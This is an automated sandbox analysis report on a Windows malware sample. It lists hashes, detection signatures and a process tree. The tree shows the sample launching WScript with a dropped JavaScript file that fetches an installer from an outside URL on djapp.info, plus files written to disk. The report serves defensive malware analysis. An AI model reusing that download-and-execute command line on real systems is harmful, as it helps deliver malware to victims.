Analysis

  • max time kernel
    45s
  • max time network
    52s
  • platform
    windows7_x64
  • resource
    win7-20220812-en
  • resource tags

    arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
  • submitted
    04/12/2022, 05:35

General

  • Target

    affa6b4537d5bd106ece7891a8d05553d4935dc9a32c5caa9be1fe7e8d26a8ea.exe

  • Size

    184KB

  • MD5

    93eac4b75daf487f01b0ae8481200b08

  • SHA1

    b910117319134a109bebef99ea98813f6a1f3755

  • SHA256

    affa6b4537d5bd106ece7891a8d05553d4935dc9a32c5caa9be1fe7e8d26a8ea

  • SHA512

    737d5af61a45152680df34b2c2267345cfbc29eee03edb3cfcb4b0756dc85f2fae2e0404bed1f944a68a7b2211c20e20db3158a34d01723de106a95ec6ec20b7

  • SSDEEP

    3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3r:/7BSH8zUB+nGESaaRvoB7FJNndn2

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 10 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Script User-Agent 5 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\affa6b4537d5bd106ece7891a8d05553d4935dc9a32c5caa9be1fe7e8d26a8ea.exe
    "C:\Users\Admin\AppData\Local\Temp\affa6b4537d5bd106ece7891a8d05553d4935dc9a32c5caa9be1fe7e8d26a8ea.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:908
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf401D.js" http://www.djapp.info/?domain=jJfeYCZcWL.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf401D.exe
      2⤵
      • Blocklisted process makes network request
      PID:2040
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf401D.js" http://www.djapp.info/?domain=jJfeYCZcWL.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf401D.exe
      2⤵
      • Blocklisted process makes network request
      PID:1744
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf401D.js" http://www.djapp.info/?domain=jJfeYCZcWL.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf401D.exe
      2⤵
      • Blocklisted process makes network request
      PID:324
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf401D.js" http://www.djapp.info/?domain=jJfeYCZcWL.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf401D.exe
      2⤵
      • Blocklisted process makes network request
      PID:1356
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf401D.js" http://www.djapp.info/?domain=jJfeYCZcWL.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf401D.exe
      2⤵
      • Blocklisted process makes network request
      PID:1396

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\fuf401D.js

    Filesize

    3KB

    MD5

    3813cab188d1de6f92f8b82c2059991b

    SHA1

    4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

    SHA256

    a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

    SHA512

    83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Cookies\DBJTNZDV.txt

    Filesize

    100B

    MD5

    343f8ec8ebaf4b5c5c28afb469e376f8

    SHA1

    ac38f27fc8fc6109dfc369db5daaa0c73ec2a2cf

    SHA256

    b540827efffc1757310e36af82ba6199fb8e54dce68d679c34769b0cd03b948f

    SHA512

    11521304ed3bec751d1df0a0fbe5147e4b3374e6cf177304f41f20f4462881d27efd775385d7dcb50b2121c5644702d80ff47ccb85765a7b6e2dd2e0c1c30361

  • memory/908-54-0x0000000075131000-0x0000000075133000-memory.dmp

    Filesize

    8KB